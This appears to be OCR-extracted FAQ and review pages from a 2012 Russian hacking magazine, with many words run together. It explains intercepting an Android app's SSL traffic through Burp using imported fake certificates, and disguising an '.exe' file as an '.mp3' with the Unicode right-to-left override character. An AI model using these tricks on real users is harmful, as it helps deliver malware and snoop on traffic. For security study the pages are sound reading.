исследуемый файл — не чтоиное, как так называемый толстый эльф(Fat elf), содержащий в себе раздельныесекции кода, скомпилированного подразличные платформы.ЗА САМЫЕ ИНТЕРЕСНЫЕ ВОПРОСЫ МЫДАРИМ ГОДОВУЮ ПОДПИСКУ НА ХАКЕР!ANDROID, ЕСЛИ СОЕДИНЕНИЕ УСТАНАВЛИВАЕТСЯ С ИСПОЛЬЗОВАНИЕМ SSL?Экспорт сертификатовНаиболее простой способ получения3сертификатов таков. Используя IEс настроенным прокси, смотрящим на Burp,обращаемся по доменному имени к серверу мобильногоприложения. Отвергаем предложениепрекратить небезопасное путешествие в интернети, кликнув по иконке «Ошибка сертификата»,выбираем пункт меню «Просмотр сертификата».Далее «Состав Копировать в файл» и,следуя инструкциям, получаем сертификат длянужного хоста. Для экспорта корневого сертификатана вкладке «Путь сертификации».4 5Импорт сертификатовТеперь, когда мы располагаем всеминеобходимыми для создания иллюзиизащищенности канала сертификатами, насталовремя импортировать их в мобильноеустройство, чтобы мобильное приложениеиспользовало их для взаимодействия с нашимпрокси. Для этого скопируем полученныеcer-файлы в корень SD-карты устройства.В настройках в подменю «Location & Security»активируем пункт «Install from SD card»и поочередно добавляем сертификаты.Profit!Прокси запущен, проксификаторнастроен, поддельные сертификатыимпортированы в устройство. Можно смелозапускать приложение, и, когда ему потребуетсячто-либо отправить на сервер, во вкладке«Proxy» Burp Suitе’а мы сможем сколь угодноманипулировать только что расшифрованнымипри помощи поддельного и еще не зашифрованнымипри помощи настоящего сертификатаданными.ХАКЕР 08 /163/ 2012141


FAQустройства не обойтись, для успешнойавторизации в сервисе магазина потребуетсяаккаунт, привязанный к какому-то конкретномудевайсу. В частности, для работы, помимосвязки логин/пароль, необходимо предоставитьшестнадцатизначный Device ID, назначаемыйсервером при создании новой учетнойзаписи. Узнать его можно при помощиодноименного приложения Device ID, бесплатнодоступного в Google Play. Установиврасширение и указав авторизационныеданные, мы получаем возможность безнаказаннойзагрузки apk-файлов со страницкаталога приложений, посредством парыкликов в контекстном меню, появляющемсяв адресной строке.Как скрыть расширение файла отQ пользователя в проводнике Windows,если включено его отображение?AПо умолчанию в Windows отключеноотображение расширений для известныхтипов файлов, и достаточно ограничитьсяизменением иконки исполняемого файла. Еслиже бдительный пользователь включилотображение, то для маскировки бросающегосяв глаза завершения имени «.exe» можновоспользоваться старым, но не теряющимактуальности трюком с использованиемспециального непечатного юникод-символареверсирования строки справа (RIGHT-TO-LEFT OVERRIDE). Этот «волшебный символ»дает обрабатывающей программе понять, чтовесь последующий текст до окончания строкиследует отобразить в обратном порядке.Например, назовем наш файлjustafile3pm.exeИ добавим юникод-символ u\202e между«e» и «3». Для ОС файл по-прежнему оканчиваетсяна «.exe», но при отображении в проводникеокончание реверсируется, и нашемувзгляду предстает много менее подозрительноена видjustafileexe.mp3Произвести RLO-инъекцию можно, скопировавиз таблицы символов нужный нам U+202E:Right-To-Left Override.QAКак можно перехватывать и изменять налету пакеты на уровне TCP?При анализе бинарных протоколовполезно помимо простого сниффераиметь под рукой инструмент, позволяющий,например, изменить в режиме реальноговремени несколько байт в TCP-data и посмотреть,на что повлияли изменения. Для этогокак нельзя лучше подходит тулза подназванием Matasano Port ForwardingInterceptor, которую ты сможешь обнаружитьна диске к журналу. Написанный на пайтонеPFI реализует проброс TCP-порта на указанныйсервер. При запуске задаются локальныеи удаленные IP-адреса и порты, и все, чтоMatasano Port Forwarding Interceptorостается сделать, — направить трафик черезнашу утилиту. Нехитрый интерфейс отображаетлог принятых/отправленных пакетови область редактирования TCP-данных.Приятным дополнением является возможностьподключения собственного обработчикапробрасываемых пакетов, что значительнорасширяет круг применения. Например, принеобходимости можно быстро набросатьплагин, автоматически заменяющий определенныебайты по регулярному выражению илилогирующий декодированные данные изпотока.QAРасскажите про технологию HDMI HEC.Технология HEC (HDMI EthernetChannell), поддержка которой былазаявлена в спецификации не такого ужнового, но все еще актуального стандартаHDMI 1.4, впервые была упомянута в далеком2009 году. Технология была создана дляреализации сетевого взаимодействия припомощи одного только HDMI-кабеля (разумеется,в качестве дополнения к его основномуфункционалу). Разработчики стремилисьсократить количество проводов, обвивающихсовременные медиаустройства. С этой цельюв новую версию включили еще одну экранированнуювитую пару, которую задействовалидля Fast Ethernet со стандартной скоростьюпередачи данных 100 Мб/с в режиме fullduplex. Идея не то чтобы революционная, новесьма перспективная, ведь беспроводныеканалы все еще медленны и дороги. К сожалению,на данный момент из оборудованияс поддержкой HEC серийно выпускаются лишьмногочисленные вариации кабелей, отвечающихтребованиям HDMI 1.4. Нам же остаетсяждать появления устройств с его поддержкой.QAКак повысить эффективность поискауязвимостей типа DOMXss?Напомню, что DOMXss — это одна изразновидностей межсайтовогоскриптинга, которая реализуется за счетвнедрения кода в параметры, обрабатываемыена стороне клиента с использованиемобъектной модели документа. То естьвредоносный код может быть выполнен, дажеесли в серверной части должным образомнастроена фильтрация спецсимволов. Припоиске уязвимостей такого типа пригодитсярасширение для Firefox с говорящим названиемDOMinator (bit.ly/domxsstool). Плагинанализирует код загруженного в браузередокумента и предоставляет возможностьпроследить путь взаимодействия скриптов созначениями подверженных инъекциипараметров.QAЧем можно протестировать веб-серверна устойчивость к высоким нагрузкам?Ввиду популярности в наш век DDoSатак,стресс-тестирование должно бытьнеотъемлемой частью введения в стройлюбого мало-мальски серьезного веб-проекта.Такое тестирование позволяет обнаружитьслабости системы, проявляющиеся, например,при аномально большом количестве запросов.Для тестирования нагрузкой, конечно же,создано немало различных утилит, ноклассика есть классика. Имя этой классике —ApacheBench (ab). Скромная консольнаяутилита входит в комплект программногообеспечения, поставляемого с самимвеб-сервером Apache. Как и большинствоподобного софта, ab генерирует запросы поуказанному URL и, опираясь на время, черезкоторое приходят ответы, предоставляет позавершении достаточно подробную статистику.В простейшем случае нужно при запускеуказать количество запросов в тесте и тестируемыйURL.ab -n 10000 https://myservice.tst/myscript.phpОпционально можно задать параметрыотсылаемых запросов на любой вкус и цвет.Среди настраиваемых параметров: количествопараллельно посылаемых запросов, данныедля HTTP-аутентификации, дополнительныеполя HTTP-заголовка, данные, передаваемыеметодами POST или PUT. Также возможнофорсирование использования определенныхSSL-протокола (SSL2, SSL3, TLS1) и алгоритмашифрования. z142ХАКЕР 08 /163/ 2012


x№ 07 (163) АВГУСТ 2012>>WINDOWS>DevelopmentActivePerl 5.14.2ActivePython 2.7.2ActiveTcl 8.5.11Aptana Studio 3.2.0Arcadia 0.11.1.2CodeLobster PHP Edition 4.2.1DEV-C++ 4.9.9.2Dojo Toolkit 1.7HTTP Debugger Pro 4.6Komodo IDE 7.0.2LispIDE 20100318Nemerle 1.1PluThon 2.0.0PyDev 2.6.0ReSharper 6.1.1SQL Uniform 2.1.1SQLiteStudio 2.0.27WaveMaker 6.4.6>MiscAuspex 1.3.5.118AutoHotkey 1.0.48.05AutoIt 3.3.8.1Boot Snooze 1.0.5ClipX 1.0.3.9File Bucket 1.1.0FluffyApp 2.0b4Input Director 1.2.2ManicTime 2.3Moo0 FileShredder 1.17OnTopReplica 3.3.2QTTabBar 1.5.0.0Registry Commander 12.01RidNacs 2.0.3SnakeTail 1.6TreeSize Free 2.7UltraSearch 1.6>MultimediaAIMP 3.10doPDF 7.3.381Fotobounce 3.7.2FotoSketcher 2.30Foxit Reader 5.3.1Machete Lite 3.8MetatOGGer 4.5MPTagThat 3.0.7Okozo Desktop 2.1.1Poladroid 0.9.6SaveGameBackup.net 1.41Sculptris Alpha 6Similarity 1.7.1SMRecorder 1.2.4SPlayer 3.7VidCoder 1.3.2YACReader 0.4.5>NetAthTek NetWalkBWMeter 6.2.2Connectify 3.5.1DNSDataView 1.40GMail Drive 1.0.19GNS3 0.8.2IMAPSize 0.3.7mRemoteNG 1.69Nemesis 1.4Odysseus 2.0.0.84Pamela 4.8Probe Web Server 1.0RFIDIOt 1.0aUltraVNC 1.0.9.6.2VodBurner 1.0.5Xfire 1.149>SecurityAlpha3API Monitor 2BoxCryptor 1.3.2Hook Analyser 2.0JSDetox 0.1.0kbsslenforcerPafishpdbparsePEFrame 0.2pev 0.5PowerSploitpyloris 3.2Wireshark 1.8.0>SystemCameyo 2.0.831CCEnhancer 3.4CCleaner 3.20CPU-M Benchmark 1.3CrystalDiskInfo 5.0DHE Drive Info 3.2.493Disk Investigator 1.31DriverIdentifier 4.1HWiNFO32 4.00IObit Uninstaller 2.2Logstalgia 1.0.3Moo0 SystemMonitor 1.64RouterPassView 1.40Soluto 1.3 BetaUnknownDevices 1.5.2WinContig 1.10>>UNIX>DesktopAvidemux 2.5.6Datacrow 3.9.14Digikam 2.6.0Djvusmooth 0.2.12Easyimagesizer 3.0.5Emacs 24.1Ffmpeg 0.11.1Flvmeta 1.1.0Gmsh 2.6.0Gmtp 1.3.3J7z 1.2.0Krut 0.9.3Mplayer 1.1Pdf2djvu 0.7.13Photofilmstrip 1.5.0Piedock 1.6.1Qtractor 0.5.5Vidrop 0.6.8>DevelBlueprintcss 1.0.1Buildroot 2012.05Cascading 2.0Cool-php-captcha 0.3.1Geany 1.22Gecrit 2.8.3Haskell-platform 2012.2.0.0Iep 3.0Kcov 9Kyua 0.4Libzdb 2.10.4Liteide 12Liwc 1.21Naсl 20110221Phpgrid 1.4.1Pypy 1.9Rstudio 0.96.304Ruby 1.9.3p194>NetAmsn 0.98.9Damnvid 1.6Dante 1.4.0pre1Eiskaltdcpp 2.2.7Evolution 3.4.3Firefox 13.0.1Frei-chat 7.2Gmail-plasmoid 0.7.20Googlecl 0.9.13Httppp 1.2.0Liferea 1.8.6Lince 1.3Myagent-im 0.4.6Opera 12.00Skype 4.0.0.7Uhub 0.4.0Voicechatter 1.5.0Wfs 2.01>SecurityBarada 0.5.3Clamav 0.97.5ClonewiseDnscrypt 0.10.1-2guile-dlhacksIntersect-2.5kbsslenforcerLaudanum 0.4NetusseNetzob 0.3.3pdbparsepev 0.5pyloris 3.2qcombbdbgRatproxy 1.58Squert 0.9.2Subterfuge 3.0 betaWebsitecds 1Wireshark 1.8.0WPSCrackGUI 1.1.8>ServerApache 2.2.22Asterisk 10.5.1Bind 9.9.1-p1Cups 1.5.3Dhcp 4.2.4Dovecot 2.1.7Freeradius 2.1.12Lighttpd 1.4.31Mysql 5.5.24Nsd 3.2.10Openldap 2.4.31Openvpn 2.2.2Postfix 2.9.3Postgresql 9.1.4Pure-ftpd 1.0.35Samba 3.6.6Sendmail 8.14.5Snort 2.9.2.3Sqlite 3.7.13Squid 3.1.20Syslog-ng 3.3.5Unbound 1.4.17Vsftpd 3.0.0>SystemBindfs 1.10.4Bumblebee 3.0Catalyst 12.4Cfengine 3.3.4Crush 2012-02Guacamole 0.6.0Meld 1.6.0Nouveau 1.0.1Oobash 0.39.5Ppss 2.97Psmisc 22.19Qemu 1.1.0-1Sali 1.5.2X11 7.7Xenomai 2.6.0>X-distrOracle Linux 6.3>>MACBean 3.2.0Emacs 24.1FlashToHTML5 1.8iMediaHUD 1.2.7JaBack 9.15keka 1.0.3KeyRemap4MacBook 7.8.0MacRuby 0.12OSXFUSE 2.4.2Palringo 4.6.2Raw Photo Processor 4.6.0SABnzbd 0.7.0Sleipnir 3.5.0.1SoundSource 2.5.1Sparrow 1.6.2SQLite 3.7.13TRIM Enabler 2.2VUWER 1.5.5


FAQWWW2Списки рабочих прокси-серверов с возможностью выборки и доступачерез APISEPROXseprox.ruСуществует множество ситуаций, когда могут потребоваться прокси. Если не братьв расчет вопрос анонимности (пусть и весьма условной), нередко нужно получить IPадресконкретной страны, чтобы попробовать какой-нибудь новомодный сервис, поканедоступный во всем мире. Где взять работающие прокси? Например, на проекте нашегочитателя — seprox. Этот сервис собирает паблик прокси-листы и проверяет каждыйсервер. Все живые прокси заносятся в базу со следующими параметрами: тип прокси(SOCKS/HTTP), страна, скорость ответа, поддержка (GET, POST, cookies, referrer, SSL),уровень анонимности. На сайте есть возможность сделать выборку по параметрам и налету проверить нужный прокси-сервер. Еще одной фичей является доступ через API,позволяющий, к примеру, одним запросом вытащить все быстрые HTTP-прокси из Россиии использовать в нужном приложении. Купоны для доступа: http://bit.ly/OtVlRG.Система компьютерной алгебры для выполнения математических расчетови построения графиковMATHICSmathics.netДля того чтобы сделать сложнейшие математические подсчеты или построить непростыеграфики, необязательно устанавливать математические пакеты вродедорогущего MATLAB или даже бесплатного Octave — теперь достойное решение естьпрямо в онлайне. Я говорю о Mathics. По сути, это открытая альтернатива для другойавторитетной системы компьютерной алгебры — Mathematica. На официальном сайтедоступны бинарники для всех популярных платформ, на GitHub лежат исходники наPython, но главное, что на mathics.net все возможности пакета доступны онлайн. Гдебы ты ни находился, теперь очень быстро можно построить любые графики, выполнитьоперации над матрицами, осуществить сложные преобразования и многое-многоедругое. Причем рабочие проекты можно хранить прямо в облаке, быстро загружая их.Правда, для этого придется пройти простую регистрацию.Машина для «консервирования» сайтов, позволяющая сделать полнуюкопию любой страничкиPEEEP.USwww.peeep.usВо времена, когда взломанные сайты чаще всего дефейсили, чтобы показать своюкрутость (это сейчас каждый пытается извлечь из взлома выгоду и, напротив, какможно дольше попытается остаться незамеченным), особой популярностью пользовалисьсервисы, позволяющие быстро сделать снимок или зеркало сайта, зафиксировавфакт взлома. Развитием этой идеи сейчас является проект Peeep.us, который умелоделает полную копию заданной страницы и размещает ее по короткому линку вродеwww.peeep.us/eae7be19. Причем сохраняется не изображение странички, а именно самастраничка — со всем HTML/JS-кодом и иллюстрациями. Таким образом, если что-тогде-то было не так, то этот факт всегда можно запечатлеть и потом показывать в качестведоказательства своих слов.Интеграция твоего почтового ящика и облачного хранилища для болееудобной работы с файлами из аттачаATTACHMENTS.MEattachments.meДовольно забавный сервис, который берет на себя интересную задачу по сортировкеаттачей — наверняка они в большом количестве приходят тебе вместе с письмами.Можно, к примеру, сделать правило: «Все изображения, которые прикреплены к письмам,положить в папку Photos моего Dropbox-аккаунта». И позже уточнить «Кроме писемот адресата «Лена из клуба»». Таких критериев можно назначить сколько угодно,создавая очень сложные правила. В качестве облачного хранилища помимо Dropboxможно использовать Google Drive или Box. Сервис пока работает только с Gmail и тольков Chrome, причем дополнительно придется поставить специальный плагин. Затоэто предоставляет дополнительные возможности: к примеру, интерфейс Gmail сильнопрокачивается в плане поиска по аттачам.144ХАКЕР 08 /163/ 2012


Реклама

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!